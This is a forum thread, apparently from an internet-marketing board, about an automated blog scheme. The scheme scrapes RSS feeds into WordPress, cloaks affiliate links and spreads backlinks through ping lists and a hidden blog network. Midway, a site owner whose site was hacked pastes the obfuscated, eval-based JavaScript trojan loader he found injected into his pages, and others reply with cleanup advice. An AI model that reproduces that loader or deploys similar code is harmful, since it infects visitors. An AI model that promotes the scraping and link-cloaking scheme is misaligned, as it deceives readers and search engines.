Check out my automated niche blog business model (it really works)

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This is my current business blueprint. This is something I've built up over time, and I actually really hesitate to give it away because it works so well. I've been doing this for about a year now with fair success. It really works for me, because you just set up the site once and then you hardly ever have to touch it again. It just runs itself and gets better and better over time.

Check this out and tell me what you all think:

Wordpress is the platform that everything is based on.

WP-O-Matic Plugin - this is a plugin that lets you take RSS feeds and turn them into posts automatically. More importantly, it lets you replace keywords from a list, and link them to whatever you want. This is the key to the whole game.

GoCodes Plugin - this is a plugin that lets you make neat redirects from your domain. We're using this to cloak our affiliate links.

Pick a niche, buy a domain, get WordPress and plugins set up.
Need affiliate products/links
Need keywords

Load GoCodes with affiliate links

get keyword-based RSS feeds for WP-O-Matic
- (I have a huge list of these)
- load up keywords and GoCodes URLs
- this makes all your keywords into links to your offers

submit blog RSS feed to every place possible
- (I have a huge list of these, too)
- this spreads the links to your offers all over the web

get largest ping list possible
- (I have a huge list of these, too)
- this helps to get all your content indexed, and your links crawled

Turn everything on and move on to the next blog.

What will happen is that the blog is continually building keyword targeted backlinks to your GoCode URLs, and sending keyword targeted traffic to your affiliate offers. Keep an eye on the affiliate programs, swap out non-performers with something different in the GoCodes setup. (This is another reason we're using GoCodes instead of directly using the affiliate URLs - you don't lose all the previous link-building).

Your blog domain is getting the benefit of all this backlink love so you will start to grow PR over time too. (This is yet another reason we're using GoCodes. All the backlinks you're generating link back to your own domain, giving YOU the PR benefit).

Do this over and over with new blogs in as many niches as you can manage. You'll start out making very little, but you'll be amazed at how much this kind of thing will grow over time.

Other ways I am using to make money:
AdSense and other PPC networks
Sell redirection of the GoCode links
Sell advertising space
Once the blogs get PR, sell text links
- you can get a sponsor donate plugin to make this automatic
Sell the blogs outright
Put up a squeeze on the homepage and build a niche list
- make backend offers to your list/sell ad space in your emails
Get a feed control plugin and further monetize feeds
- affiliate links/ad space sales
Replace affiliate products with your own products
-Use something like RAP to build your own affiliate team

The possibilities are endless. I'm only just scratching the surface myself.

I hope my brief description here is enough for some of you who want to try it can get all the info you need. If not, feel free to ask any questions. I'll answer as best as I can.

Hope you like it!
K.K.
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  • Profile picture of the author Jeffery
    Thank you for sharing!

    Would you mind elaborating a bit more about ..

    .. "Sell redirection of the GoCode links"

    To Your Success,

    Jeffery 100% :-)
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  • Profile picture of the author Mark Brian
    Would you mind giving a hint in what I think this is the most important part of this method: "get keyword-based RSS feeds for WP-O-Matic", where can we find them?
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    • Profile picture of the author Keith Kogane
      Originally Posted by Jeffery View Post

      Thank you for sharing!

      Would you mind elaborating a bit more about ..

      .. "Sell redirection of the GoCode links"

      To Your Success,

      Jeffery 100% :-)
      Yes. When I initially set up the blog, my GoCodes all redirect to my own affiliate URLs. If one of my GoCode URLs is getting a lot of traffic, but say the affiliate URL I'm redirecting to isn't converting, then I have a few choices. I can swap it for another affiliate link... or, what I was suggesting in what you quoted is that you can approach a merchant in your niche and "rent" them your GoCode. So you would place their site as the re-direct instead of your own affiliate link. I just bill them with PayPal recurring. As long as they pay, I keep sending them the traffic. Make more sense now?

      Originally Posted by Mark Brian View Post

      Would you mind giving a hint in what I think this is the most important part of this method: "get keyword-based RSS feeds for WP-O-Matic", where can we find them?
      There's this thing called a search engine? LOL! They aren't hard to find. Google News for example. Anywhere you can specify a search with your keywords, and then get a feed of those results. Use your imagination - any news site, any social bookmarking site, any blog search site, etc.
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      • Profile picture of the author Jeffery
        Originally Posted by Keith Kogane View Post

        Yes. When I initially set up the blog, my GoCodes all redirect to my own affiliate URLs. If one of my GoCode URLs is getting a lot of traffic, but say the affiliate URL I'm redirecting to isn't converting, then I have a few choices. I can swap it for another affiliate link... or, what I was suggesting in what you quoted is that you can approach a merchant in your niche and "rent" them your GoCode. So you would place their site as the re-direct instead of your own affiliate link. I just bill them with PayPal recurring. As long as they pay, I keep sending them the traffic. Make more sense now?
        That is what I thought. I just wanted to be clear because it is another method to monetize the site. More importantly to me, the method converts what would I call "Non-Monetized Page Space" to "Monetized Page Space".. Thats Marketing! The merchant has two incentives; the merchant receives traffic from your site(s) and the merchant's site gains a backlink from your site.

        Thanks for elaborating!

        Jeffery 100% :-)
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    • Profile picture of the author ztrek
      Originally Posted by Mark Brian View Post

      Would you mind giving a hint in what I think this is the most important part of this method: "get keyword-based RSS feeds for WP-O-Matic", where can we find them?
      The metthod I use to find such feeds is by simply going to google and doing a search
      "your keyword" RSS
      or use google blog search with your keywords
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      • Profile picture of the author Tim Dixon
        Originally Posted by ztrek View Post

        The method I use to find such feeds is by simply going to google and doing a search
        "your keyword" RSS
        or use google blog search with your keywords
        If you use Google Reader you can also use the search function from within GR itself which usually pulls up at least a few relevant feeds.

        Don't forget you can usually make a feed from lots of sites where there is a search functionality as well.

        Take YouTube for instance, if you go there and search on your keywords, you should be able to make a feed out of the results page using the feed buttons in your browser.

        Tim
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        • Profile picture of the author Dave Earley
          Originally Posted by Tim Dixon View Post

          If you use Google Reader you can also use the search function from within GR itself which usually pulls up at least a few relevant feeds.

          Don't forget you can usually make a feed from lots of sites where there is a search functionality as well.

          Take YouTube for instance, if you go there and search on your keywords, you should be able to make a feed out of the results page using the feed buttons in your browser.

          Tim
          Good info. Tim.

          I thought about trying something like that with Yahoo, but I thought I would also get a lot of content outside of my niche.

          Might try it though. Didn't know that I could kind of create a particular feed using the search information.

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  • Profile picture of the author Alex Sol
    The post would have been helpful and of value if you cleared this up:

    get keyword-based RSS feeds for WP-O-Matic
    - (I have a huge list of these)
    - load up keywords and GoCodes URLs
    - this makes all your keywords into links to your offers

    submit blog RSS feed to every place possible
    - (I have a huge list of these, too)
    - this spreads the links to your offers all over the web

    get largest ping list possible
    - (I have a huge list of these, too)
    - this helps to get all your content indexed, and your links crawled
    ...
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    • Profile picture of the author Keith Kogane
      Originally Posted by Alex Sol View Post

      The post would have been helpful and of value if you cleared this up:



      ...
      This is kind of obnoxious. I don't really think the post isn't of value without those.

      I have a spreadsheet full of these sites that I spent a lot of time collecting. I just wanted to share my outline in case someone found it useful. I don't have to share everything, do I? Do you want to know my niches and sites too? LOL! (Hint: I'm not telling you those, either.) The method is still sound, and like I said above to a previous poster, just actually DO something yourself and search for em. They aren't hard to find. In fact, you can probably find lists of them other people have already made. In the time it took you to post that, you could have found a ton with a Google search.

      Use a little brains and spend a little effort.

      Or, you can let the fact that I didn't do all the work for you and hold your hand be an excuse for your not succeeding. It doesn't matter to me!
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      • Profile picture of the author Alex Sol
        Originally Posted by Keith Kogane View Post

        This is kind of obnoxious. I don't really think the post isn't of value without those.

        I have a spreadsheet full of these sites that I spent a lot of time collecting. I just wanted to share my outline in case someone found it useful. I don't have to share everything, do I? Do you want to know my niches and sites too? LOL! (Hint: I'm not telling you those, either.) The method is still sound, and like I said above to a previous poster, just actually DO something yourself and search for em. They aren't hard to find. In fact, you can probably find lists of them other people have already made. In the time it took you to post that, you could have found a ton with a Google search.

        Use a little brains and spend a little effort.

        Or, you can let the fact that I didn't do all the work for you and hold your hand be an excuse for your not succeeding. It doesn't matter to me!
        Don't get me wrong, it is a good method that you outlined and a lot of us warriors know about such things... But telling people "You need a list of .... and by the way I have a list of it" is an OBVIOUS way to get people sending you pm's so you could sell some kind of list or service to them

        I guess I just don't like posts where people advertise/promote some kind of method but leave out VERY important details. I really don't care what niches you're in and I am sure you would never tell - no one is asking you to.

        However, I think when you tell people to look for ... at least give one example for those that have no idea what you're talking about. For instance, when someone says: Submit your articles to an ezine directory, such as EzineArticles.com - well, when I see the ezinearticles.com at least I have an idea of what to look for.

        I guess I just don't really appreciate when people post up a method of some sort but refuse to help in any kind of way. I don't think it would kill you to give at least 1 URL from each of your lists to make it easier for us to understand what exactly we are looking for but once again, I understand that your intentions were to get people pm'ing you so you could sell them stuff - it's your right to do so.


        p.s. TO give you an example, http://www.warriorforum.com/main-internet-marketing-discussion-forum/27983-1-300-2-hours-you-can-do-too.html

        As you can see I reveal every detail, every step. Because I think if you want to share a method with someone - well you share the whole thing.
        I guess that's just my idea of sharing and helping others.
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        • Profile picture of the author Alminc
          I think Keith's post is actually very useful for anybody
          who is interested in using automated blogs to increase
          backlinks and make some money.

          There is enough free information in his post to start working
          with his method. And why not PM him for more details and
          even pay for it if you are really interested in the method?
          That's healthy approach.
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          No links :)
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        • Profile picture of the author Keith Kogane
          Originally Posted by Alex Sol View Post

          Don't get me wrong, it is a good method that you outlined and a lot of us warriors know about such things... But telling people "You need a list of .... and by the way I have a list of it" is an OBVIOUS way to get people sending you pm's so you could sell some kind of list or service to them
          That really wasn't my intent - I guess I give people here more credit to be able to figure stuff out on their own. I did, and I'm hardly smart! So whether it's "obvious" or not, it's not intentional. But even so - everything I do online is about getting paid. If you want to get my lists of ping sites, rss sites and keyword feed sites - you can pay me for them. If you want to take the time, you can find your own for free. If you want to work hard and do it yourself, you have my full method here. If you want to be lazy and just copy me, why WOULDN'T I charge for that? From what I can tell, that's the whole info-product business model. There's nothing, NOTHING that you can't find out for yourself on the internet if you know where and how to look. Any time anyone sells information, it's basically trading the customer's lack of research skills/laziness for money.

          So I guess my point is, I wasn't being commercial here, but even if I was, what's wrong with that, exactly? We're all marketers here.

          Originally Posted by Alex Sol View Post

          I guess I just don't like posts where people advertise/promote some kind of method but leave out VERY important details. I really don't care what niches you're in and I am sure you would never tell - no one is asking you to.
          Take 5 minutes right now. Go to google and search for these phrases, (which are the EXACT phrases I've used here). Ready? "Keyword based rss feeds", "submit your rss feed", and "ping list". Tell me what you find, and tell me if you still have something to complain about. I think you'll see you've wasted your breath just to stand on a soapbox and get attention instead of just doing a little "work" to get your own answers.

          Hmm. Maybe you're doing that so people will think you're their great protector, or the dissenting voice of reason and maybe build up your own reputation here. That's fine too. But if you're going to do that, it's not really fair of you to paint me as some rogue capitalist.

          Originally Posted by Alex Sol View Post

          However, I think when you tell people to look for ... at least give one example for those that have no idea what you're talking about. For instance, when someone says: Submit your articles to an ezine directory, such as EzineArticles.com - well, when I see the ezinearticles.com at least I have an idea of what to look for.
          I've answered any question anyone asked, and gave general, if not specific examples.

          Originally Posted by Alex Sol View Post

          I guess I just don't really appreciate when people post up a method of some sort but refuse to help in any kind of way. I don't think it would kill you to give at least 1 URL from each of your lists to make it easier for us to understand what exactly we are looking for but once again, I understand that your intentions were to get people pm'ing you so you could sell them stuff - it's your right to do so.
          Yes, you're right. I've refused to help in any way. That's ridiculous. What thread are you reading? You contradict yourself in the very same paragraph, by listing just ONE of the ways I've offered to help someone. Not to mention all the questions I've already answered here.

          Originally Posted by Alex Sol View Post

          p.s. TO give you an example, http://www.warriorforum.com/main-internet-marketing-discussion-forum/27983-1-300-2-hours-you-can-do-too.html

          As you can see I reveal every detail, every step. Because I think if you want to share a method with someone - well you share the whole thing.
          I guess that's just my idea of sharing and helping others.
          Congratulations and well done. Good for you.

          P.S. I think it's hilarious how you're trying to paint me as "Them" in some imagined "Us vs. Them" scenario with yourself as some kind of white knight bastion of "the way things ought to be." I hope it works out for you. There's lots of money to be made from herds of people who need every little detail spelled out. The fact is, those kinds of people will seldom do anything with any of the information they buy. They are collectors. They just want it to be complete. If I were selling something, I'd include all of that. I'd harp on it in the sales copy, too. "You don't have to do anything! I've done it all for you!" But I'm not, and I'm more focused on the people who want a method to try, not some system to buy.

          So everyone reading this, Alex would do it differently, so if you want your free methods fully spelled out and completely detailed, please go to Alex, because he does it correctly! I'm just evil and trying to sell you something (I'm not, but GOD FORBID a marketer try to sell something! The NERVE!).

          I'm sorry everyone, that I expected people to be able to use the internet at its base level and search something for themselves. I thought that skill would be a precursor to having found the WF in the first place. Or at the very least, before one would attempt to use the internet to make money.

          I could be wrong. What do *you* think?
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      • Profile picture of the author Steven Wagenheim
        Originally Posted by Keith Kogane View Post

        This is kind of obnoxious. I don't really think the post isn't of value without those.

        I have a spreadsheet full of these sites that I spent a lot of time collecting. I just wanted to share my outline in case someone found it useful. I don't have to share everything, do I? Do you want to know my niches and sites too? LOL! (Hint: I'm not telling you those, either.) The method is still sound, and like I said above to a previous poster, just actually DO something yourself and search for em. They aren't hard to find. In fact, you can probably find lists of them other people have already made. In the time it took you to post that, you could have found a ton with a Google search.

        Use a little brains and spend a little effort.

        Or, you can let the fact that I didn't do all the work for you and hold your hand be an excuse for your not succeeding. It doesn't matter to me!

        Keith, the problem is, people want things handed to them on a silver
        platter. They don't want to do the work. They want the push button
        solution.

        It's just the nature of this business, so don't let it get to you.
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  • Profile picture of the author Jeffery
    I think the post is helpful and of value. It would be "more" helpful and of value with "more" details. Helpful in any event.

    Jeffery 100% :-)
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  • Profile picture of the author tomah
    Keith,

    This is really helpful. Could I pay you (or someone else) to set something like this up for me? Or to guide me step-by-step through the process?

    Setting up WordPress and installing plugins etc isn't an issue. It's turning it into an automated system.

    Thanks for this!
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    • Profile picture of the author Keith Kogane
      Originally Posted by tomah View Post

      Keith,

      This is really helpful. Could I pay you (or someone else) to set something like this up for me? Or to guide me step-by-step through the process?

      Setting up WordPress and installing plugins etc isn't an issue. It's turning it into an automated system.

      Thanks for this!
      Absolutely. PM me and we can work something out!
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      • Profile picture of the author Jeffery
        Originally Posted by Keith Kogane View Post

        Absolutely. PM me and we can work something out!
        Well, there you go
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        • Profile picture of the author tomah
          Originally Posted by Jeffery View Post

          Well, there you go
          Not sure what you're getting at Jeffery. Do you think he intended people to PM him?

          His idea is literally a 'site saver' for me, as I was about to ditch a site I couldn't be bothered with. He's helping me to automate it so it can run and potentially be a money earner for me, which I'm very glad of.

          Regards.
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          • Profile picture of the author Jeffery
            Originally Posted by tomah View Post

            Not sure what you're getting at Jeffery. Do you think he intended people to PM him?

            His idea is literally a 'site saver' for me, as I was about to ditch a site I couldn't be bothered with. He's helping me to automate it so it can run and potentially be a money earner for me, which I'm very glad of.

            Regards.
            Hi tomah,

            I was getting at "The man is helpful." You asked for help and he responded. It was a good thing.

            Jeffery 100% :-)
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          • Profile picture of the author Keith Kogane
            Originally Posted by tomah View Post

            Not sure what you're getting at Jeffery. Do you think he intended people to PM him?

            His idea is literally a 'site saver' for me, as I was about to ditch a site I couldn't be bothered with. He's helping me to automate it so it can run and potentially be a money earner for me, which I'm very glad of.

            Regards.
            It wasn't my intention to get PMs - after all, PMs are hardly an awesome way to communicate through this forum.

            For me the point is more - Alex Sol kind of takes a shit on my method and whines about what I did not include and how it was not valuable. I tell him to take a hike.

            Tomah offers to compensate me for my help and is genuinely interested in the method. Of course I'm happy to help him, because he's not being a jerk.

            No direct offense to you, Alex, but your negative/scarcity mindset is probably holding you back in other aspects of your life and business. I've seen it from you not just in this thread, but in others. Just some friendly advice from one marketer to another. Instead of looking at what's missing, look at what's there and actually do something with it.

            Anyway, don't mean to derail. Glad you guys that like my stuff said so.
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      • Profile picture of the author Junaid Gamieldien
        Thanks for sharing Keith! Your post has sparked an idea - I'll be using the core of your method to try to further boost the income of one of my already established sites.

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        • Profile picture of the author Lesley Huntley
          Originally Posted by Junaid Gamieldien View Post

          Thanks for sharing Keith! Your post has sparked an idea - I'll be using the core of your method to try to further boost the income of one of my already established sites.

          Junaid
          Dude, I'm not sure what's going on with that link in your sig, but I clicked on it and then something started downloading, it said it was a PDF, then AVG alerted me to a trojan.

          Not sure what's going on there, not cool!
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          • Profile picture of the author Junaid Gamieldien
            Originally Posted by Lesley Huntley View Post

            Dude, I'm not sure what's going on with that link in your sig, but I clicked on it and then something started downloading, it said it was a PDF, then AVG alerted me to a trojan.

            Not sure what's going on there, not cool!
            Lesley,

            Thanks for the heads up. There should be *nothing* to download from that page. I can't figure it out yet, but this may explain why I've made zero sales over the past week or so.
            I'm still digging, but there are signs that my site's been hacked. I'm running AVAST, which doesn't give me the same alert you got, so I'm installing AVG now.

            What I can't figure out is WHY someone would hack me just to put a trojan on my site.
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            • Profile picture of the author Max Ramocsai
              Here is a list of feeds to use with WP-O-Matic

              api.moreover.com/RPC2
              api.my.yahoo.co.jp/RPC2
              api.my.yahoo.com/RPC2
              audiorpc.weblogs.com/RPC2
              blog.goo.ne.jp/XMLRPC
              blogpeople.net/ping
              blogsearch.google.ae/ping/RPC2
              blogsearch.google.at/ping/RPC2
              blogsearch.google.be/ping/RPC2
              blogsearch.google.bg/ping/RPC2
              blogsearch.google.ca/ping/RPC2
              blogsearch.google.ch/ping/RPC2
              blogsearch.google.cl/ping/RPC2
              blogsearch.google.co.cr/ping/RPC2
              blogsearch.google.co.hu/ping/RPC2
              blogsearch.google.co.id/ping/RPC2
              blogsearch.google.co.il/ping/RPC2
              blogsearch.google.co.in/ping/RPC2
              blogsearch.google.co.it/ping/RPC2
              blogsearch.google.co.jp/ping/RPC2
              blogsearch.google.co.ma/ping/RPC2
              blogsearch.google.co.nz/ping/RPC2
              blogsearch.google.co.th/ping/RPC2
              blogsearch.google.co.uk/ping/RPC2
              blogsearch.google.co.ve/ping/RPC2
              blogsearch.google.co.za/ping/RPC2
              blogsearch.google.com.ar/ping/RPC2
              blogsearch.google.com.au/ping/RPC2
              blogsearch.google.com.br/ping/RPC2
              blogsearch.google.com.co/ping/RPC2
              blogsearch.google.com.do/ping/RPC2
              blogsearch.google.com.mx/ping/RPC2
              blogsearch.google.com.my/ping/RPC2
              blogsearch.google.com.pe/ping/RPC2
              blogsearch.google.com.sa/ping/RPC2
              blogsearch.google.com.sg/ping/RPC2
              blogsearch.google.com.tr/ping/RPC2
              blogsearch.google.com.tw/ping/RPC2
              blogsearch.google.com.ua/ping/RPC2
              blogsearch.google.com.uy/ping/RPC2
              blogsearch.google.com.vn/ping/RPC2
              blogsearch.google.com/ping/RPC2
              blogsearch.google.de/ping/RPC2
              blogsearch.google.es/ping/RPC2
              blogsearch.google.fi/ping/RPC2
              blogsearch.google.fr/ping/RPC2
              blogsearch.google.gr/ping/RPC2
              blogsearch.google.hr/ping/RPC2
              blogsearch.google.ie/ping/RPC2
              blogsearch.google.in/ping/RPC2
              blogsearch.google.it/ping/RPC2
              blogsearch.google.jp/ping/RPC2
              blogsearch.google.lt/ping/RPC2
              blogsearch.google.nl/ping/RPC2
              blogsearch.google.pl/ping/RPC2
              blogsearch.google.pt/ping/RPC2
              blogsearch.google.ro/ping/RPC2
              blogsearch.google.ru/ping/RPC2
              blogsearch.google.se/ping/RPC2
              blogsearch.google.sk/ping/RPC2
              blogsearch.google.tw/ping/RPC2
              blogsearch.google.us/ping/RPC2
              feedsky.com/api/RPC2
              hamo-search.com/ping.php
              holycowdude.com/rpc/ping/
              newsblog.jungleboots.org/ping.php
              ping.blogoon.net/
              ping.blogs.yandex.ru/RPC2
              ping.fc2.com/
              ping.feedburner.com/
              ping.kutsulog.net/
              ping.myblog.jp/
              ping.namaan.net/rpc
              ping.snap.com/ping/RPC2
              ping.syndic8.com/xmlrpc.php
              ping.weblogalot.com/rpc.php
              ping.wordblog.de/
              r.hatena.ne.jp/rpc
              rpc.bloggerei.de/ping/
              rpc.blogrolling.com/pinger/
              rpc.icerocket.com:10080/
              rpc.pingomatic.com
              rpc.reader.livedoor.com/ping
              rpc.technorati.com/rpc/ping
              rpc.technorati.jp/rpc/ping
              rpc.twingly.com/
              rpc.weblogs.com/RPC2
              wasalive.com/ping/
              www.blogpeople.net/servlet/weblogUpdates
              xmlrpc.blogg.de
              xping.pubsub.com/ping/
              zhuaxia.com/rpc/server.php
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            • Profile picture of the author Paul Myers
              Junaid,
              I'm still digging, but there are signs that my site's been hacked. I'm running AVAST, which doesn't give me the same alert you got, so I'm installing AVG now.

              What I can't figure out is WHY someone would hack me just to put a trojan on my site.
              To expand their network, obviously. Got nothing to do with you personally.

              Good chance you've got an old WP or phpBB installation on that site or server. If so, update it, and change the admin passwords.

              Download the whole site via FTP and look at the bottom of the pages. It's likely the code involved is there.


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              • Profile picture of the author Junaid Gamieldien
                Originally Posted by Paul Myers View Post

                Junaid,To expand their network, obviously. Got nothing to do with you personally.

                Good chance you've got an old WP or phpBB installation on that site or server. If so, update it, and change the admin passwords.

                Download the whole site via FTP and look at the bottom of the pages. It's likely the code involved is there.
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                Thanks Paul.

                It's a straight html site, but I found this in the index file, along with a foreign directory containing more directories, weird files and more php scripts with embedded javascript.

                <script language=JavaScript> function tlbnb25(z) {var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,4,3 ,57,50,60,9,5,8,37,0,0,0,0,0,0,33,16,2,13,14,29,47 ,15,46,51,55,40,20,49,12,36,59,56,52,38,34,35,39,2 5,0,22,21,0,0,0,0,10,0,19,18,43,41,1,24,23,61,17,4 2,62,30,31,32,28,7,27,58,53,54,48,45,44,26,11,6);f or(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){ { x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(146^x&255);x>>=8 ;w-=2}else{w=6 } eval(h); } }tlbnb25('9FG0tJm35zH3Iqk3@ 0xvYJG0JgqjtJm5V00h5qDF92kkSmFHsrrkR2k50mFw5G00J0j KIaFjuyjw@2l5FBckSqHQKtqF9zHQJmFh5HG0RJmFSJqcsSPJI qHk5Bl0VIFhrkh5ScGFnGG0tJ00rHyHnzjdO_rH3YcKIaFjuyx v3Yyw4YkktqHkFzjdV_ckJFmhrqkcOjjw@qkrkm0cux0k@yH0I FDj5JG0J2ycHtPkR2k50mGcsHy')</script>
                I also found similar code in the header and footer files of the template I'm using for a blog I created on a brand new domain just 2 days ago.

                They've obviously hacked the admin password for my hosting account - which I've now changed...
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                • Profile picture of the author Paul Myers
                  Junaid,
                  I also found similar code in the header and footer files of the template I'm using for a blog I created on a brand new domain just 2 days ago.

                  They've obviously hacked the admin password for my hosting account - which I've now changed...
                  Do not assume that was the attack vector. Changing that password won't hurt, but, if the blog is on the same hosting account, that may have been the weak point. Update the version of WP and change that password, too.


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        Is this stuff still on offer?
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        • Profile picture of the author Keith Kogane
          Originally Posted by Peter Johnston View Post

          Is this stuff still on offer?
          There's nothing "on offer" here, friend. The whole shebang is here in the thread. I'm working on something a little more detailed, but for now, here's the whole enchilada!

          (You really don't need more than this if you're a self-starter and familiar with using Wordpress and blogs and RSS.)

          Sorry to disappoint.
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  • Profile picture of the author Clyde Dennis
    Well I sure thank you for sharing the information you shared Keith. It's certainly worth a little probing.
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  • Profile picture of the author GeorgR.
    Keith,

    this is very solid and good advice. My question: Did you test several "auto blogger" plugins, beyond wp-o-matic? I am currently building blogs with Caffeinated Content....but i might try out the plugins/methods you mentioned.

    Could you maybe elaborate on "get keyword based RSS feeds" ?

    I actually do have a problem finding good feeds related to a niche/subject....many of the feeds listed in search engines are defunct/expired. I have a hard time finding dependable RSS feeds.

    (Or are you talking about feeds similar to yahoo news etc. where you can specify a KW for the feed? Sorry, not familair with wp-o-matic plugin)
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    • Profile picture of the author Keith Kogane
      Originally Posted by GeorgR. View Post

      Keith,

      this is very solid and good advice. My question: Did you test several "auto blogger" plugins, beyond wp-o-matic? I am currently building blogs with Caffeinated Content....but i might try out the plugins/methods you mentioned.

      Could you maybe elaborate on "get keyword based RSS feeds" ?

      I actually do have a problem finding good feeds related to a niche/subject....many of the feeds listed in search engines are defunct/expired. I have a hard time finding dependable RSS feeds.

      (Or are you talking about feeds similar to yahoo news etc. where you can specify a KW for the feed? Sorry, not familair with wp-o-matic plugin)
      I only tried a couple of others before I found WP-O-Matic. Actually when I came across it, it didn't work for me, but I happened to find it just before one of the version upgrades that switched it to use WordPress's built-in Cron rather than a server-based Cron. It just worked for what I wanted it to do, so I actually quit messing with other ones. I'm not trying to make great websites with meaty original content, rather just little niche news/aggregator sites. I like WP-O-Matic because it's free, easy to use, and just works with minimal effort on my part.

      I've experimented with doing other stuff, like using RSS Magician to consolidate feeds and remix them for uniqueness before feeding it into WP-O-Matic, but I found that to be unnecessary for getting the method to work.

      The keyword based feeds are as you say, any feed where I can specify keywords and get feeds based on that. So any news site, any social bookmarking site, any blog aggregator site. In fact, a lot of the sites you find that you can submit your own RSS feed will also offer keyword based feeds, too.

      For my model, it's not about providing lengthy content. It's about being the single stop for all things going on in a particular niche. I'm trying to make little authority sites, but the key is just getting it "good enough" and then focus on getting money from it. The site will grow on its own, traffic and backlinks will grow on their own.

      I took it really slow at first when making these, but by the time I got to my 5th or 6th one, the first one had hit that "snowball rolling down a mountain" point, where it just started growing and making more and more without me really doing anything at all.
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      • Profile picture of the author Evita
        Originally Posted by Keith Kogane View Post

        I only tried a couple of others before I found WP-O-Matic. Actually when I came across it, it didn't work for me, but I happened to find it just before one of the version upgrades that switched it to use WordPress's built-in Cron rather than a server-based Cron. It just worked for what I wanted it to do, so I actually quit messing with other ones. I'm not trying to make great websites with meaty original content, rather just little niche news/aggregator sites. I like WP-O-Matic because it's free, easy to use, and just works with minimal effort on my part.
        Does this mean that the current version of wp-o-matic won't work in the same way? I'm a techie moron so not fam. with cron

        (Got my domain, WP installed and ready to go!)

        Just few more questions, Keith...thanks for your patience...

        Will we set up permalinks to get the headline of the post as our url? As one would with any other post?

        Does wp-o-matic show the entire post or excerpt only?

        Are you familiar with RSS footer? You could actually set up one of these sites to build backlinks to another site, no? (On top of monetizing it) Just add a link to your other site in your feed Or, just use gocodes to build links to your money site...


        Phew! My poor mind is rrracing..... the possibilites here are, uhm, endless... I just gotta get over the techie stuff

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        • Profile picture of the author Keith Kogane
          Originally Posted by Evita View Post

          Does this mean that the current version of wp-o-matic won't work in the same way? I'm a techie moron so not fam. with cron
          Nah, it works fine. Even if you don't know how to set up a cron, you can get a URL from the WP-O-Matic interface and just visit it once a day and it'll update your whole blog for you. As I told someone who PMd me, it's not FULLY automated if you can't do cron, but it doesn't get any closer to automated than "click this link once a day".

          Originally Posted by Evita View Post

          Will we set up permalinks to get the headline of the post as our url? As one would with any other post?
          Yep. That's what I do. Just makes sense.

          Originally Posted by Evita View Post

          Does wp-o-matic show the entire post or excerpt only?
          It will show whatever comes across in the feeds you're using. I don't really mind if it only does an excerpt, as I mentioned, my sites aren't framing this content as original or unique. I'm making more of a "whole niche at a glance" news aggregator site, if that makes sense. So I don't care if they're excerpts or that they link away from my site.

          Originally Posted by Evita View Post

          Are you familiar with RSS footer? You could actually set up one of these sites to build backlinks to another site, no? (On top of monetizing it) Just add a link to your other site in your feed Or, just use gocodes to build links to your money site...
          Yes. Also, some of these blogs will naturally pick up a high PR just magically. I use my high PR sites and give my lower ones a backlink to pump them up. I'm worried about maybe leaving a footprint and having google think I'm a blog network (which I guess informally, I am) so I started using this other plugin, I forget the name, but it basically rotates your blogroll randomly, so it mixes things up regularly. But that's advanced. You don't need to know about that until you build your first one.

          Originally Posted by Evita View Post

          Phew! My poor mind is rrracing..... the possibilites here are, uhm, endless... I just gotta get over the techie stuff
          Don't let it intimidate you. One of the things I love about Wordpress is that it makes it easy, but for the parts of it that ARE challenging, it also helps you learn other useful things regarding internet tech stuff that will only help your marketing efforts. Also, don't let your mind racing keep you from just getting the basics done. I'd say, get 3 of these going, just using my standard method above. THEN go back and re-visit them and improve them with additional stuff.

          Hope that helps, and best of luck!
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      • Profile picture of the author Dave Earley
        Originally Posted by Keith Kogane View Post

        I only tried a couple of others before I found WP-O-Matic. Actually when I came across it, it didn't work for me, but I happened to find it just before one of the version upgrades that switched it to use WordPress's built-in Cron rather than a server-based Cron.
        The plugin that I downloaded told me to add a piece of coding to my crontab, which I found in my cpanel. Are you saying there's another one?

        Also, what kind of content is this automation producing? Are these going to be frankensteinn articles of some sort? Do you have a sample post we could view?

        Great work by the way, Keith.

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        • Profile picture of the author Tim Dixon
          Originally Posted by Dave Earley View Post

          The plugin that I downloaded told me to add a piece of coding to my crontab, which I found in my cpanel. Are you saying there's another one?

          Also, what kind of content is this automation producing? Are these going to be frankensteinn articles of some sort? Do you have a sample post we could view?

          Great work by the way, Keith.

          Dave
          It will work without using crontab as it then uses the Wordpress built-in cron function.

          As for the content that gets posted to your blog, that depends entirely on the content model you use to produce those RSS feeds.

          At the end of the day WPOM will only post what it finds in the RSS feed (unless you use the regex word replacement to change some of the content).

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          • Profile picture of the author Dave Earley
            Originally Posted by Tim Dixon View Post

            It will work without using crontab as it then uses the Wordpress built-in cron function.

            As for the content that gets posted to your blog, that depends entirely on the content model you use to produce those RSS feeds.

            At the end of the day WPOM will only post what it finds in the RSS feed (unless you use the regex word replacement to change some of the content).

            Tim
            Thanks, Tim.

            Would using the regex word replacement be a good idea? Would it make the content more unique?

            Originally Posted by Steve Porcaro

            Hi I still see some question on the Go-codes and WPOM. I made a video earlier in this thread.

            I put it in my signature for easier reference.
            Great tutorial Steve! Easy to follow and understand.

            Dave
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  • Profile picture of the author Evita
    Hm. The responses to this post is an interesting study
    of the human psychology!

    Thanks Keith. A most interesting post. It is most generous of you to share and help your fellow warriors.

    I know nothing about he plugins you mentioned so now need to get educated. This model sounds VERY interesting!

    Best,

    Evita
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  • Profile picture of the author GeorgR.
    uhm...i understand how gocodes works, it uses an .htacces redirect, so eg. i can specifiy go/keyword as gocode and it will be rewritten to my aff link.

    Where i am stumped is HOW on earth the "mysite/go/keyword" entries get into the feed content? Where do i edit this ?

    Say...there is a feed blah blah weight loss....no i want to make a gocode for the weightloss keyword. I am not stupid...but the gocode site and its so called "FAQ" didnt help me. I need to know how to get my aff links IN the feeds/content on the blog. Otherwise i have everything running as you explained.
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    nm..found the rewrite setting in wpomatic.
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  • Profile picture of the author GeorgR.
    well this post certainly nicely belongs with the current "clog farming" craze, i think its interesting since i could try out new plugins. Its solid and "simple".

    I am still amazed how i can actually create a good looking WP blog about WHATEVER in 3 minutes or less...in addition this blog is auto-updating AND has my affiliate links in it. The more i work with WP and the plugins, the more i like it. There is really not more to do than getting a domain, maybe also get a auto-social-bookmarking plugin..and you're good to go.

    Now i am off searching a good niche
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    • Profile picture of the author Keith Kogane
      Originally Posted by GeorgR. View Post

